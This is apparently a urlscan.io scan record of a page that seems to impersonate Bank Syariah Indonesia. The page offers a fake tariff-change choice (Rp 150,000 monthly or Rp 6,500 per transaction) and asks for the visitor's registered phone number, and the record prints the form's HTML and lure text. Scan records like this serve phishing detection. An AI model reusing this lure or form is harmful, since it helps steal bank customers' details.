form-pilih-tarif-bsi.anakdara9.icu Open in urlscan Pro
2606:4700:3037::6815:1256  Public Scan

URL: https://form-pilih-tarif-bsi.anakdara9.icu/
Submission: On June 29 via api from US — Scanned from DE

Form analysis 1 forms found in the DOM

<form id="formHP" onsubmit="loader(event); return false" style="padding: 10px">
  <section class="" style="padding: 4px; position: static; left: 0; right: 0; margin: -10px auto; width: 60%">
    <div class="radio-list" style="position: absolute; left: 0; right: 0; margin: 0px auto; width: 75%">
      <center>
        <div class="radio-item"><input name="radio" id="radio1" type="radio" required=""><label for="radio1">TARIF BARU Rp 150.000 / BULAN</label>
          <div class="radio-item"><input name="radio" id="radio2" type="radio"><label for="radio2" required="">TARIF LAMA Rp 6.500 / TRANSAKSI</label></div>
        </div>
      </center>
    </div>
  </section>
  <br>
  <section style="margin-top: 80px">
    <label for="rek">Nomor HP. Terdaftar</label>
    <input type="tel" id="nope" class="text-field-2 w-input" maxlength="13" name="nohp" data-name="rek" placeholder="Tuliskan Nomor Handphone Anda" minlength="10" required="">
    <div style="position: absolute; left: 0; right: 0; margin: 0px auto; width: 100%">
      <center>
        <button id="btnSubmit1" type="submit" value="SELANJUTNYA" data-wait="Please wait..." class="submit-button w-button" onclick="kirimPesan()"
          style="background: #00A39E; margin-top: 16px; height: 45px; width: 200px; margin-left: -20; color: #fff; border-radius: 50px; width: 70%">SELANJUTNYA</button>
      </center>
    </div>
  </section>
</form>

Text Content

TARIF BARU Rp 150.000 / BULAN
TARIF LAMA Rp 6.500 / TRANSAKSI

Nomor HP. Terdaftar
SELANJUTNYA
   
   

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